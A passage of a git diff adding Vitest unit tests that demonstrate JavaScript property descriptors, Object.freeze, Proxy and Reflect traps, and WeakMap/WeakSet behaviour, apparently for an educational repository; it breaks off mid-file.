{ + it('should prevent adding new properties (throws in strict mode)', () => { + const obj = { existing: 1 } + Object.freeze(obj) + + expect(() => { + obj.newProp = 2 + }).toThrow(TypeError) + expect(obj.newProp).toBeUndefined() + }) + + it('should prevent deleting existing properties (throws in strict mode)', () => { + const obj = { existing: 1 } + Object.freeze(obj) + + expect(() => { + delete obj.existing + }).toThrow(TypeError) + expect(obj.existing).toBe(1) + }) + + it('should prevent modifying existing values (throws in strict mode)', () => { + const obj = { existing: 1 } + Object.freeze(obj) + + expect(() => { + obj.existing = 2 + }).toThrow(TypeError) + expect(obj.existing).toBe(1) // Unchanged + }) + + it('should set configurable and writable to false on all properties', () => { + const obj = { prop: 1 } + Object.freeze(obj) + + const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop') + expect(descriptor.configurable).toBe(false) + expect(descriptor.writable).toBe(false) + }) + + it('should return true for Object.isFrozen()', () => { + const obj = { prop: 1 } + Object.freeze(obj) + + expect(Object.isFrozen(obj)).toBe(true) + }) + + it('should NOT freeze nested objects (shallow freeze)', () => { + const obj = { + outer: 1, + nested: { inner: 2 } + } + Object.freeze(obj) + + // Outer property is frozen (throws in strict mode) + expect(() => { + obj.outer = 100 + }).toThrow(TypeError) + expect(obj.outer).toBe(1) // Frozen + + // But nested object is NOT frozen + obj.nested.inner = 200 + expect(obj.nested.inner).toBe(200) // NOT frozen! + }) + }) + + describe('Real-World Use Cases', () => { + it('should create a constant configuration object (throws in strict mode)', () => { + const Config = {} + + Object.defineProperties(Config, { + API_URL: { + value: 'https://api.example.com', + writable: false, + enumerable: true, + configurable: false + }, + TIMEOUT: { + value: 5000, + writable: false, + enumerable: true, + configurable: false + } + }) + + expect(() => { + Config.API_URL = 'https://evil.com' + }).toThrow(TypeError) + expect(Config.API_URL).toBe('https://api.example.com') + + expect(() => { + delete Config.TIMEOUT + }).toThrow(TypeError) + expect(Config.TIMEOUT).toBe(5000) + }) + + it('should hide internal properties from serialization', () => { + const user = { name: 'Alice' } + + Object.defineProperty(user, '_secret', { + value: 'password123', + enumerable: false + }) + + const json = JSON.stringify(user) + expect(json).toBe('{"name":"Alice"}') + expect(JSON.parse(json)._secret).toBeUndefined() + + // But the property still exists + expect(user._secret).toBe('password123') + }) + + it('should create computed properties that auto-update', () => { + const rectangle = { width: 10, height: 5 } + + Object.defineProperty(rectangle, 'area', { + get() { + return this.width * this.height + }, + enumerable: true, + configurable: true + }) + + expect(rectangle.area).toBe(50) + + rectangle.width = 20 + expect(rectangle.area).toBe(100) // Auto-updated! + }) + + it('should create properties with validation', () => { + const person = { _age: 0 } + + Object.defineProperty(person, 'age', { + get() { + return this._age + }, + set(value) { + if (typeof value !== 'number' || value < 0) { + throw new TypeError('Age must be a positive number') + } + this._age = value + }, + enumerable: true, + configurable: true + }) + + person.age = 25 + expect(person.age).toBe(25) + + expect(() => { + person.age = -5 + }).toThrow(TypeError) + + expect(() => { + person.age = 'old' + }).toThrow(TypeError) + }) + }) + + describe('Edge Cases', () => { + it('should return undefined for non-existent property descriptors', () => { + const obj = { a: 1 } + const descriptor = Object.getOwnPropertyDescriptor(obj, 'nonexistent') + + expect(descriptor).toBeUndefined() + }) + + it('should work with Symbol property keys', () => { + const secretKey = Symbol('secret') + const obj = {} + + Object.defineProperty(obj, secretKey, { + value: 'hidden', + enumerable: false + }) + + expect(obj[secretKey]).toBe('hidden') + expect(Object.keys(obj)).toEqual([]) + expect(Object.getOwnPropertySymbols(obj)).toEqual([secretKey]) + }) + + it('should allow changing value via defineProperty even when writable is false but configurable is true', () => { + const obj = {} + Object.defineProperty(obj, 'prop', { + value: 1, + writable: false, + configurable: true + }) + + // Assignment throws in strict mode + expect(() => { + obj.prop = 2 + }).toThrow(TypeError) + expect(obj.prop).toBe(1) + + // But defineProperty works! + Object.defineProperty(obj, 'prop', { + value: 2 + }) + expect(obj.prop).toBe(2) + }) + }) +}) diff --git a/tests/beyond/objects-properties/proxy-reflect/proxy-reflect.test.js b/tests/beyond/objects-properties/proxy-reflect/proxy-reflect.test.js new file mode 100644 index 00000000..e461afd8 --- /dev/null +++ b/tests/beyond/objects-properties/proxy-reflect/proxy-reflect.test.js @@ -0,0 +1,511 @@ +import { describe, it, expect } from 'vitest' + +describe('Proxy and Reflect', () => { + // ============================================================ + // WHAT IS A PROXY? + // From proxy-reflect.mdx lines 30-45 + // ============================================================ + + describe('What is a Proxy?', () => { + // From lines 30-40: Basic Proxy with get trap + it('should return custom value for missing properties', () => { + const target = { message: 'hello' } + + const handler = { + get(target, prop) { + return prop in target ? target[prop] : 'Property not found' + } + } + + const proxy = new Proxy(target, handler) + + expect(proxy.message).toBe('hello') + expect(proxy.missing).toBe('Property not found') + }) + + // From lines 42-48: Empty handler pass-through + it('should forward operations to target with empty handler', () => { + const target = { x: 10 } + const proxy = new Proxy(target, {}) + + proxy.y = 20 + expect(target.y).toBe(20) + }) + }) + + // ============================================================ + // THE GET TRAP: INTERCEPTING PROPERTY ACCESS + // From proxy-reflect.mdx lines 95-140 + // ============================================================ + + describe('The get Trap', () => { + // From lines 95-105: Basic get trap logging + it('should intercept property reads', () => { + const logs = [] + const handler = { + get(target, prop, receiver) { + logs.push(`Accessing: ${prop}`) + return target[prop] + } + } + + const user = new Proxy({ name: 'Alice' }, handler) + const name = user.name + + expect(name).toBe('Alice') + expect(logs).toContain('Accessing: name') + }) + + // From lines 115-122: Default values pattern + it('should return default value for missing properties', () => { + const defaults = new Proxy({}, { + get(target, prop) { + return prop in target ? target[prop] : 0 + } + }) + + defaults.x = 10 + expect(defaults.x).toBe(10) + expect(defaults.missing).toBe(0) + }) + + // From lines 126-140: Negative array indices + it('should allow negative array indices', () => { + function createNegativeArray(arr) { + return new Proxy(arr, { + get(target, prop, receiver) { + const index = Number(prop) + if (index < 0) { + return target[target.length + index] + } + return Reflect.get(target, prop, receiver) + } + }) + } + + const arr = createNegativeArray([1, 2, 3, 4, 5]) + expect(arr[-1]).toBe(5) + expect(arr[-2]).toBe(4) + expect(arr[0]).toBe(1) + }) + }) + + // ============================================================ + // THE SET TRAP: INTERCEPTING PROPERTY ASSIGNMENT + // From proxy-reflect.mdx lines 145-195 + // ============================================================ + + describe('The set Trap', () => { + // From lines 145-155: Basic set trap + it('should intercept property writes', () => { + const logs = [] + const handler = { + set(target, prop, value, receiver) { + logs.push(`Setting ${prop} to ${value}`) + target[prop] = value + return true + } + } + + const obj = new Proxy({}, handler) + obj.x = 10 + + expect(logs).toContain('Setting x to 10') + expect(obj.x).toBe(10) + }) + + // From lines 165-185: Validation pattern + it('should validate property values', () => { + const validator = { + set(target, prop, value) { + if (prop === 'age') { + if (typeof value !== 'number') { + throw new TypeError('Age must be a number') + } + if (value < 0 || value > 150) { + throw new RangeError('Age must be between 0 and 150') + } + } + target[prop] = value + return true + } + } + + const person = new Proxy({}, validator) + + // Valid assignments + person.name = 'Alice' + expect(person.name).toBe('Alice') + + person.age = 30 + expect(person.age).toBe(30) + + // Invalid assignments + expect(() => { + person.age = -5 + }).toThrow(RangeError) + + expect(() => { + person.age = 'thirty' + }).toThrow(TypeError) + }) + + // From lines 155-160: set must return true + it('should throw TypeError if set returns false in strict mode', () => { + const proxy = new Proxy({}, { + set() { + return false + } + }) + + expect(() => { + 'use strict' + proxy.x = 10 + }).toThrow(TypeError) + }) + }) + + // ============================================================ + // THE HAS TRAP: INTERCEPTING IN OPERATOR + // From proxy-reflect.mdx lines 200-215 + // ============================================================ + + describe('The has Trap', () => { + // From lines 200-210: Range checking with in operator + it('should intercept the in operator', () => { + const range = new Proxy({ start: 1, end: 10 }, { + has(target, prop) { + const num = Number(prop) + return num >= target.start && num <= target.end + } + }) + + expect(5 in range).toBe(true) + expect(15 in range).toBe(false) + expect(1 in range).toBe(true) + expect(10 in range).toBe(true) + expect(0 in range).toBe(false) + }) + }) + + // ============================================================ + // THE DELETEPROPERTY TRAP + // From proxy-reflect.mdx lines 220-235 + // ============================================================ + + describe('The deleteProperty Trap', () => { + // From lines 220-232: Protected properties + it('should prevent deletion of protected properties', () => { + const protectedObj = new Proxy({ id: 1, name: 'Alice' }, { + deleteProperty(target, prop) { + if (prop === 'id') { + throw new Error('Cannot delete id property') + } + delete target[prop] + return true + } + }) + + delete protectedObj.name + expect(protectedObj.name).toBeUndefined() + + expect(() => { + delete protectedObj.id + }).toThrow('Cannot delete id property') + }) + }) + + // ============================================================ + // THE APPLY AND CONSTRUCT TRAPS + // From proxy-reflect.mdx lines 240-275 + // ============================================================ + + describe('The apply and construct Traps', () => { + // From lines 240-252: Apply trap for function calls + it('should intercept function calls with apply trap', () => { + function sum(a, b) { + return a + b + } + + const logs = [] + const loggedSum = new Proxy(sum, { + apply(target, thisArg, args) { + logs.push(`Called with: ${args}`) + return target.apply(thisArg, args) + } + }) + + const result = loggedSum(1, 2) + expect(result).toBe(3) + expect(logs).toContain('Called with: 1,2') + }) + + // From lines 256-270: Construct trap for new operator + it('should intercept new operator with construct trap', () => { + class User { + constructor(name) { + this.name = name + } + } + + const logs = [] + const TrackedUser = new Proxy(User, { + construct(target, args) { + logs.push(`Creating user: ${args[0]}`) + return new target(...args) + } + }) + + const user = new TrackedUser('Alice') + expect(user.name).toBe('Alice') + expect(logs).toContain('Creating user: Alice') + }) + }) + + // ============================================================ + // THE OWNKEYS TRAP + // From proxy-reflect.mdx lines 280-295 + // ============================================================ + + describe('The ownKeys Trap', () => { + // From lines 280-292: Filtering properties + it('should filter out private properties from Object.keys', () => { + const user = { + name: 'Alice', + age: 30, + _password: 'secret123' + } + + const safeUser = new Proxy(user, { + ownKeys(target) { + return Object.keys(target).filter(key => !key.startsWith('_')) + } + }) + + expect(Object.keys(safeUser)).toEqual(['name', 'age']) + expect(Object.keys(safeUser)).not.toContain('_password') + }) + }) + + // ============================================================ + // WHY REFLECT EXISTS + // From proxy-reflect.mdx lines 300-350 + // ============================================================ + + describe('Reflect', () => { + // From lines 300-320: Basic Reflect methods + it('should provide equivalent operations to object methods', () => { + const obj = { x: 1 } + + // Reflect.get vs obj[prop] + expect(Reflect.get(obj, 'x')).toBe(1) + expect(Reflect.get(obj, 'x')).toBe(obj.x) + + // Reflect.set vs obj[prop] = value + expect(Reflect.set(obj, 'y', 2)).toBe(true) + expect(obj.y).toBe(2) + + // Reflect.has vs 'prop' in obj + expect(Reflect.has(obj, 'x')).toBe(true) + expect(Reflect.has(obj, 'z')).toBe(false) + + // Reflect.deleteProperty vs delete obj[prop] + expect(Reflect.deleteProperty(obj, 'y')).toBe(true) + expect(obj.y).toBeUndefined() + }) + + // From lines 325-340: Receiver importance with getters + it('should properly forward receiver for getters', () => { + const user = { + _name: 'Alice', + get name() { + return this._name + } + } + + const proxy = new Proxy(user, { + get(target, prop, receiver) { + return Reflect.get(target, prop, receiver) + } + }) + + expect(proxy.name).toBe('Alice') + }) + }) + + // ============================================================ + // PRACTICAL PATTERNS + // From proxy-reflect.mdx lines 355-430 + // ============================================================ + + describe('Practical Patterns', () => { + // From lines 355-375: Observable objects + it('should create observable objects that notify on change', () => { + const changes = [] + + function observable(target, onChange) { + return new Proxy(target, { + set(target, prop, value, receiver) { + const oldValue = target[prop] + const result = Reflect.set(target, prop, value, receiver) + if (result && oldValue !== value) { + onChange(prop, oldValue, value) + } + return result + } + }) + } + + const state = observable({ count: 0 }, (prop, oldVal, newVal) => { + changes.push(`${prop} changed from ${oldVal} to ${newVal}`) + }) + + state.count = 1 + state.count = 2 + + expect(changes).toContain('count changed from 0 to 1') + expect(changes).toContain('count changed from 1 to 2') + }) + + // From lines 380-410: Access control pattern + it('should implement access control for private properties', () => { + const privateHandler = { + get(target, prop) { + if (prop.startsWith('_')) { + throw new Error(`Access denied: ${prop} is private`) + } + return Reflect.get(...arguments) + }, + set(target, prop, value) { + if (prop.startsWith('_')) { + throw new Error(`Access denied: ${prop} is private`) + } + return Reflect.set(...arguments) + }, + ownKeys(target) { + return Object.keys(target).filter(key => !key.startsWith('_')) + } + } + + const user = new Proxy({ name: 'Alice', _password: 'secret' }, privateHandler) + + expect(user.name).toBe('Alice') + expect(Object.keys(user)).toEqual(['name']) + + expect(() => { + user._password + }).toThrow('Access denied: _password is private') + }) + + // From lines 415-430: Logging/debugging pattern + it('should log all property access', () => { + const logs = [] + + function createLogged(target, name = 'Object') { + return new Proxy(target, { + get(target, prop, receiver) { + logs.push(`[${name}] GET ${String(prop)}`) + return Reflect.get(target, prop, receiver) + }, + set(target, prop, value, receiver) { + logs.push(`[${name}] SET ${String(prop)} = ${value}`) + return Reflect.set(target, prop, value, receiver) + } + }) + } + + const user = createLogged({ name: 'Alice' }, 'User') + const name = user.name + user.age = 30 + + expect(logs).toContain('[User] GET name') + expect(logs).toContain('[User] SET age = 30') + }) + }) + + // ============================================================ + // REVOCABLE PROXIES + // From proxy-reflect.mdx lines 435-455 + // ============================================================ + + describe('Revocable Proxies', () => { + // From lines 435-450: Proxy.revocable() + it('should create a proxy that can be disabled', () => { + const target = { secret: 'classified info' } + const { proxy, revoke } = Proxy.revocable(target, {}) + + expect(proxy.secret).toBe('classified info') + + revoke() + + expect(() => { + proxy.secret + }).toThrow(TypeError) + }) + }) + + // ============================================================ + // LIMITATIONS AND GOTCHAS + // From proxy-reflect.mdx lines 460-510 + // ============================================================ + + describe('Limitations and Gotchas', () => { + // From lines 470-490: Built-in objects workaround + it('should work with Map using method binding workaround', () => { + const map = new Map() + const proxy = new Proxy(map, { + get(target, prop, receiver) { + const value = Reflect.get(target, prop, receiver) + return typeof value === 'function' ? value.bind(target) : value + } + }) + + proxy.set('key', 'value') + expect(proxy.get('key')).toBe('value') + }) + + // From lines 495-505: Proxy identity + it('should demonstrate that proxy is a different object from target', () => { + const target = {} + const proxy = new Proxy(target, {}) + + expect(proxy === target).toBe(false) + + const set = new Set([target]) + expect(set.has(proxy)).toBe(false) + }) + }) + + // ============================================================ + // TEST YOUR KNOWLEDGE - Q&A SECTION TESTS + // From proxy-reflect.mdx lines 530-620 + // ============================================================ + + describe('Test Your Knowledge', () => { + // Q1: set trap returning false + it('should demonstrate set trap returning false behavior', () => { + const proxy = new Proxy({}, { + set() { + return false + } + }) + + expect(() => { + proxy.x = 10 + }).toThrow(TypeError) + }) + + // Q5: Revocable proxy + it('should demonstrate revocable proxy pattern', () => { + const { proxy, revoke } = Proxy.revocable({ data: 'sensitive' }, {}) + + expect(proxy.data).toBe('sensitive') + + revoke() + + expect(() => { + proxy.data + }).toThrow(TypeError) + }) + }) +}) diff --git a/tests/beyond/objects-properties/weakmap-weakset/weakmap-weakset.test.js b/tests/beyond/objects-properties/weakmap-weakset/weakmap-weakset.test.js new file mode 100644 index 00000000..b7c0feb5 --- /dev/null +++ b/tests/beyond/objects-properties/weakmap-weakset/weakmap-weakset.test.js @@ -0,0 +1,802 @@ +import { describe, it, expect } from 'vitest' + +describe('WeakMap & WeakSet', () => { + // ============================================================ + // WEAKMAP BASICS + // From weakmap-weakset.mdx lines 95-125 + // ============================================================ + + describe('WeakMap Basics', () => { + // From lines 101-119: Basic WeakMap operations + it('should set and get values with object keys', () => { + const weakMap = new WeakMap() + + const obj1 = { id: 1 } + const obj2 = { id: 2 } + + weakMap.set(obj1, 'first') + weakMap.set(obj2, 'second') + + expect(weakMap.get(obj1)).toBe('first') + expect(weakMap.get(obj2)).toBe('second') + }) + + // From lines 112-116: has() and get() methods + it('should check existence with has()', () => { + const weakMap = new WeakMap() + const obj1 = { id: 1 } + + weakMap.set(obj1, 'value') + + expect(weakMap.has(obj1)).toBe(true) + expect(weakMap.has({ id: 3 })).toBe(false) // Different object reference + }) + + // From lines 117-119: delete() method + it('should delete entries', () => { + const weakMap = new WeakMap() + const obj1 = { id: 1 } + + weakMap.set(obj1, 'value') + expect(weakMap.has(obj1)).toBe(true) + + weakMap.delete(obj1) + expect(weakMap.has(obj1)).toBe(false) + }) + + // From lines 121-136: Keys must be objects + it('should only accept objects as keys', () => { + const weakMap = new WeakMap() + + // These work - objects as keys + expect(() => weakMap.set({}, 'empty object')).not.toThrow() + expect(() => weakMap.set([], 'array')).not.toThrow() + expect(() => weakMap.set(function() {}, 'function')).not.toThrow() + expect(() => weakMap.set(new Date(), 'date')).not.toThrow() + }) + + // From lines 131-136: Primitives throw TypeError + it('should throw TypeError for primitive keys', () => { + const weakMap = new WeakMap() + + expect(() => weakMap.set('string', 'value')).toThrow(TypeError) + expect(() => weakMap.set(123, 'value')).toThrow(TypeError) + expect(() => weakMap.set(true, 'value')).toThrow(TypeError) + expect(() => weakMap.set(null, 'value')).toThrow(TypeError) + expect(() => weakMap.set(undefined, 'value')).toThrow(TypeError) + }) + + // From lines 147-156: Values can be anything + it('should accept any value type', () => { + const weakMap = new WeakMap() + const key = { id: 1 } + + weakMap.set(key, 'string value') + expect(weakMap.get(key)).toBe('string value') + + weakMap.set(key, 42) + expect(weakMap.get(key)).toBe(42) + + weakMap.set(key, null) + expect(weakMap.get(key)).toBe(null) + + weakMap.set(key, undefined) + expect(weakMap.get(key)).toBe(undefined) + + weakMap.set(key, { nested: 'object' }) + expect(weakMap.get(key)).toEqual({ nested: 'object' }) + + weakMap.set(key, [1, 2, 3]) + expect(weakMap.get(key)).toEqual([1, 2, 3]) + }) + + // Test chaining on set() + it('should return the WeakMap for chaining', () => { + const weakMap = new WeakMap() + const obj1 = { a: 1 } + const obj2 = { b: 2 } + + const result = weakMap.set(obj1, 'value1') + expect(result).toBe(weakMap) + + // Chaining + weakMap.set(obj1, 'v1').set(obj2, 'v2') + expect(weakMap.get(obj1)).toBe('v1') + expect(weakMap.get(obj2)).toBe('v2') + }) + }) + + // ============================================================ + // WEAKMAP USE CASES + // From weakmap-weakset.mdx lines 162-270 + // ============================================================ + + describe('WeakMap Use Cases', () => { + // From lines 164-207: Private data pattern + describe('Private Data Pattern', () => { + it('should store private data not accessible directly', () => { + const privateData = new WeakMap() + + class User { + constructor(name, password) { + this.name = name + privateData.set(this, { + password, + loginAttempts: 0 + }) + } + + checkPassword(input) { + const data = privateData.get(this) + + if (data.password === input) { + data.loginAttempts = 0 + return true + } + + data.loginAttempts++ + return false + } + + getLoginAttempts() { + return privateData.get(this).loginAttempts + } + } + + const user = new User('Alice', 'secret123') + + // Public data is accessible + expect(user.name).toBe('Alice') + + // Private data is NOT accessible + expect(user.password).toBe(undefined) + + // Methods can use private data + expect(user.checkPassword('wrong')).toBe(false) + expect(user.checkPassword('secret123')).toBe(true) + expect(user.getLoginAttempts()).toBe(0) + }) + + it('should track login attempts', () => { + const privateData = new WeakMap() + + class User { + constructor(name, password) { + this.name = name + privateData.set(this, { password, loginAttempts: 0 }) + } + + checkPassword(input) { + const data = privateData.get(this) + if (data.password === input) { + data.loginAttempts = 0 + return true + } + data.loginAttempts++ + return false + } + + getLoginAttempts() { + return privateData.get(this).loginAttempts + } + } + + const user = new User('Alice', 'secret') + + user.checkPassword('wrong1') + user.checkPassword('wrong2') + user.checkPassword('wrong3') + + expect(user.getLoginAttempts()).toBe(3) + + user.checkPassword('secret') + expect(user.getLoginAttempts()).toBe(0) // Reset on success + }) + }) + + // From lines 248-270: Object caching + describe('Object Caching', () => { + it('should cache computed results', () => { + const cache = new WeakMap() + let computeCount = 0 + + function expensiveOperation(obj) { + if (cache.has(obj)) { + return cache.get(obj) + } + + computeCount++ + const result = Object.keys(obj) + .map(key => `${key}: ${obj[key]}`) + .join(', ') + + cache.set(obj, result) + return result + } + + const user = { name: 'Alice', age: 30 } + + const result1 = expensiveOperation(user) + expect(result1).toBe('name: Alice, age: 30') + expect(computeCount).toBe(1) + + const result2 = expensiveOperation(user) + expect(result2).toBe('name: Alice, age: 30') + expect(computeCount).toBe(1) // Still 1, cache hit + }) + }) + + // From lines 272-298: Object-level memoization + describe('Object-Level Memoization', () => { + it('should memoize function results per object', () => { + function memoizeForObjects(fn) { + const cache = new WeakMap() + + return function(obj) { + if (cache.has(obj)) { + return cache.get(obj) + } + + const result = fn(obj) + cache.set(obj, result) + return result + } + } + + let callCount = 0 + const getFullName = memoizeForObjects(user => { + callCount++ + return `${user.firstName} ${user.lastName}` + }) + + const person = { firstName: 'John', lastName: 'Doe' } + + expect(getFullName(person)).toBe('John Doe') + expect(callCount).toBe(1) + + expect(getFullName(person)).toBe('John Doe') + expect(callCount).toBe(1) // Cached + + // Different object - not cached + const person2 = { firstName: 'Jane', lastName: 'Smith' } + expect(getFullName(person2)).toBe('Jane Smith') + expect(callCount).toBe(2) + }) + }) + }) + + // ============================================================ + // WEAKSET BASICS + // From weakmap-weakset.mdx lines 304-338 + // ============================================================ + + describe('WeakSet Basics', () => { + // From lines 320-333: Basic WeakSet operations + it('should add and check objects', () => { + const weakSet = new WeakSet() + + const obj1 = { id: 1 } + const obj2 = { id: 2 } + + weakSet.add(obj1) + weakSet.add(obj2) + + expect(weakSet.has(obj1)).toBe(true) + expect(weakSet.has({ id: 1 })).toBe(false) // Different object + }) + + // From lines 333-335: delete() method + it('should delete objects', () => { + const weakSet = new WeakSet() + const obj1 = { id: 1 } + + weakSet.add(obj1) + expect(weakSet.has(obj1)).toBe(true) + + weakSet.delete(obj1) + expect(weakSet.has(obj1)).toBe(false) + }) + + // From lines 326-328: Only objects allowed + it('should only accept objects as values', () => { + const weakSet = new WeakSet() + + expect(() => weakSet.add({})).not.toThrow() + expect(() => weakSet.add([])).not.toThrow() + expect(() => weakSet.add(function() {})).not.toThrow() + }) + + it('should throw TypeError for primitive values', () => { + const weakSet = new WeakSet() + + expect(() => weakSet.add('string')).toThrow(TypeError) + expect(() => weakSet.add(123)).toThrow(TypeError) + expect(() => weakSet.add(true)).toThrow(TypeError) + expect(() => weakSet.add(null)).toThrow(TypeError) + expect(() => weakSet.add(undefined)).toThrow(TypeError) + }) + + // Test chaining on add() + it('should return the WeakSet for chaining', () => { + const weakSet = new WeakSet() + const obj1 = { a: 1 } + const obj2 = { b: 2 } + + const result = weakSet.add(obj1) + expect(result).toBe(weakSet) + + // Chaining + weakSet.add(obj1).add(obj2) + expect(weakSet.has(obj1)).toBe(true) + expect(weakSet.has(obj2)).toBe(true) + }) + }) + + // ============================================================ + // WEAKSET USE CASES + // From weakmap-weakset.mdx lines 344-440 + // ============================================================ + + describe('WeakSet Use Cases', () => { + // From lines 346-366: Tracking processed objects + describe('Tracking Processed Objects', () => { + it('should prevent processing the same object twice', () => { + const processed = new WeakSet() + const processLog = [] + + function processOnce(obj) { + if (processed.has(obj)) { + processLog.push('skipped') + return null + } + + processed.add(obj) + processLog.push('processed') + return { ...obj, processed: true } + } + + const user = { name: 'Alice' } + + processOnce(user) + processOnce(user) + processOnce(user) + + expect(processLog).toEqual(['processed', 'skipped', 'skipped']) + }) + }) + + // From lines 368-408: Circular reference detection + describe('Circular Reference Detection', () => { + it('should detect circular references when cloning', () => { + function deepClone(obj, seen = new WeakSet()) { + if (obj === null || typeof obj !== 'object') { + return obj + } + + if (seen.has(obj)) { + throw new Error('Circular reference detected!') + } + + seen.add(obj) + + if (Array.isArray(obj)) { + return obj.map(item => deepClone(item, seen)) + } + + const clone = {} + for (const key in obj) { + if (obj.hasOwnProperty(key)) { + clone[key] = deepClone(obj[key], seen) + } + } + + return clone + } + + // Test with circular reference + const obj = { name: 'Alice' } + obj.self = obj + + expect(() => deepClone(obj)).toThrow('Circular reference detected!') + + // Normal objects work fine + const normal = { a: 1, b: { c: 2 } } + expect(deepClone(normal)).toEqual({ a: 1, b: { c: 2 } }) + }) + }) + + // From lines 410-440: Marking visited objects (graph traversal) + describe('Graph Traversal', () => { + it('should traverse graph without infinite loop', () => { + function traverseGraph(node, visitor, visited = new WeakSet()) { + if (!node || visited.has(node)) { + return + } + + visited.add(node) + visitor(node) + + if (node.children) { + for (const child of node.children) { + traverseGraph(child, visitor, visited) + } + } + } + + // Graph with cycles + const nodeA = { value: 'A', children: [] } + const nodeB = { value: 'B', children: [] } + const nodeC = { value: 'C', children: [] } + + nodeA.children = [nodeB, nodeC] + nodeB.children = [nodeC, nodeA] // Cycle back to A + nodeC.children = [nodeA] // Cycle back to A + + const visited = [] + traverseGraph(nodeA, node => visited.push(node.value)) + + // Each visited only once despite cycles + expect(visited).toEqual(['A', 'B', 'C']) + }) + }) + + // From lines 442-460: Brand checking + describe('Brand Checking', () => { + it('should verify object was created by specific constructor', () => { + const validUsers = new WeakSet() + + class User { + constructor(name) { + this.name = name + validUsers.add(this) + } + + static isValid(obj) { + return validUsers.has(obj) + } + } + + const realUser = new User('Alice') + const fakeUser = { name: 'Bob' } + + expect(User.isValid(realUser)).toBe(true) + expect(User.isValid(fakeUser)).toBe(false) + }) + }) + }) + + // ============================================================ + // NO ITERATION + // From weakmap-weakset.mdx lines 488-510 + // ============================================================ + + describe('No Iteration', () => { + it('should not have size property on WeakMap', () => { + const weakMap = new WeakMap() + weakMap.set({}, 'value') + + expect(weakMap.size).toBe(undefined) + }) + + it('should not have size property on WeakSet', () => { + const weakSet = new WeakSet() + weakSet.add({}) + + expect(weakSet.size).toBe(undefined) + }) + + it('should not have iteration methods on WeakMap', () => { + const weakMap = new WeakMap() + + expect(weakMap.keys).toBe(undefined) + expect(weakMap.values).toBe(undefined) + expect(weakMap.entries).toBe(undefined) + expect(weakMap.forEach).toBe(undefined) + }) + + it('should not have iteration methods on WeakSet', () => { + const weakSet = new WeakSet() + + expect(weakSet.keys).toBe(undefined) + expect(weakSet.values).toBe(undefined) + expect(weakSet.forEach).toBe(undefined) + }) + + it('should not be iterable with for...of', () => { + const weakMap = new WeakMap() + weakMap.set({}, 'value') + + expect(() => { + for (const entry of weakMap) { + // Should not reach here + } + }).toThrow(TypeError) + }) + }) + + // ============================================================ + // SYMBOL KEYS (ES2023+) + // From weakmap-weakset.mdx lines 536-558 + // ============================================================ + + describe('Symbol Keys (ES2023+)', () => { + it('should accept non-registered symbols as WeakMap keys', () => { + const weakMap = new WeakMap() + + const mySymbol = Symbol('myKey') + weakMap.set(mySymbol, 'value') + + expect(weakMap.get(mySymbol)).toBe('value') + expect(weakMap.has(mySymbol)).toBe(true) + }) + + it('should reject registered symbols (Symbol.for) as WeakMap keys', () => { + const weakMap = new WeakMap() + + const registeredSymbol = Symbol.for('registered') + + expect(() => { + weakMap.set(registeredSymbol, 'value') + }).toThrow(TypeError) + }) + + it('should accept non-registered symbols in WeakSet', () => { + const weakSet = new WeakSet() + + const mySymbol = Symbol('myKey') + weakSet.add(mySymbol) + + expect(weakSet.has(mySymbol)).toBe(true) + }) + + it('should reject registered symbols in WeakSet', () => { + const weakSet = new WeakSet() + + const registeredSymbol = Symbol.for('registered') + + expect(() => { + weakSet.add(registeredSymbol) + }).toThrow(TypeError) + }) + }) + + // ============================================================ + // COMMON MISTAKES + // From weakmap-weakset.mdx lines 572-614 + // ============================================================ + + describe('Common Mistakes', () => { + // From lines 582-590: Using primitives as keys + describe('Using Primitives as Keys', () => { + it('should throw for all primitive types', () => { + const weakMap = new WeakMap() + + expect(() => weakMap.set('key', 'value')).toThrow(TypeError) + expect(() => weakMap.set(123, 'value')).toThrow(TypeError) + expect(() => weakMap.set(Symbol.for('key'), 'value')).toThrow(TypeError) + }) + + it('should work with objects and non-registered symbols', () => { + const weakMap = new WeakMap() + + expect(() => weakMap.set({ key: true }, 'value')).not.toThrow() + expect(() => weakMap.set(Symbol('key'), 'value')).not.toThrow() + }) + }) + + // Test undefined return for non-existent keys + it('should return undefined for non-existent keys', () => { + const weakMap = new WeakMap() + const obj = { id: 1 } + + expect(weakMap.get(obj)).toBe(undefined) + expect(weakMap.has(obj)).toBe(false) + }) + + // Test delete returns correct boolean + it('should return correct boolean from delete', () => { + const weakMap = new WeakMap() + const obj = { id: 1 } + + // Delete non-existent + expect(weakMap.delete(obj)).toBe(false) + + // Delete existing + weakMap.set(obj, 'value') + expect(weakMap.delete(obj)).toBe(true) + + // Delete again (now non-existent) + expect(weakMap.delete(obj)).toBe(false) + }) + }) + + // ============================================================ + // MAP VS WEAKMAP COMPARISON + // From weakmap-weakset.mdx lines 466-486 + // ============================================================ + + describe('Map vs WeakMap Comparison', () => { + it('Map should have size property, WeakMap should not', () => { + const map = new Map() + const weakMap = new WeakMap() + + const obj = {} + map.set(obj, 'value') + weakMap.set(obj, 'value') + + expect(map.size).toBe(1) + expect(weakMap.size).toBe(undefined) + }) + + it('Map should accept primitives, WeakMap should not', () => { + const map = new Map() + const weakMap = new WeakMap() + + expect(() => map.set('string', 'value')).not.toThrow() + expect(() => weakMap.set('string', 'value')).toThrow(TypeError) + }) + + it('Map should be iterable, WeakMap should not', () => { + const map = new Map() + const weakMap = new WeakMap() + + const obj = { id: 1 } + map.set(obj, 'value') + weakMap.set(obj, 'value') + + // Map is iterable + const entries = [] + for (const [k, v] of map) { + entries.push([k, v]) + } + expect(entries.length).toBe(1) + + // WeakMap is not iterable + expect(() => { + for (const entry of weakMap) {} + }).toThrow(TypeError) + }) + }) + + // ============================================================ + // SET VS WEAKSET COMPARISON + // ============================================================ + + describe('Set vs WeakSet Comparison', () => { + it('Set should have size property, WeakSet should not', () => { + const set = new Set() + const weakSet = new WeakSet() + + const obj = {} + set.add(obj) + weakSet.add(obj) + + expect(set.size).toBe(1) + expect(weakSet.size).toBe(undefined) + }) + + it('Set should accept primitives, WeakSet should not', () => { + const set = new Set() + const weakSet = new WeakSet() + + expect(() => set.add('string')).not.toThrow() + expect(() => weakSet.add('string')).toThrow(TypeError) + }) + + it('Set should be iterable, WeakSet should not', () => { + const set = new Set() + const weakSet = new WeakSet() + + const obj = { id: 1 } + set.add(obj) + weakSet.add(obj) + + // Set is iterable + const values = [] + for (const v of set) { + values.push(v) + } + expect(values.length).toBe(1) + + // WeakSet is not iterable + expect(() => { + for (const v of weakSet) {} + }).toThrow(TypeError) + }) + }) + + // ============================================================ + // EDGE 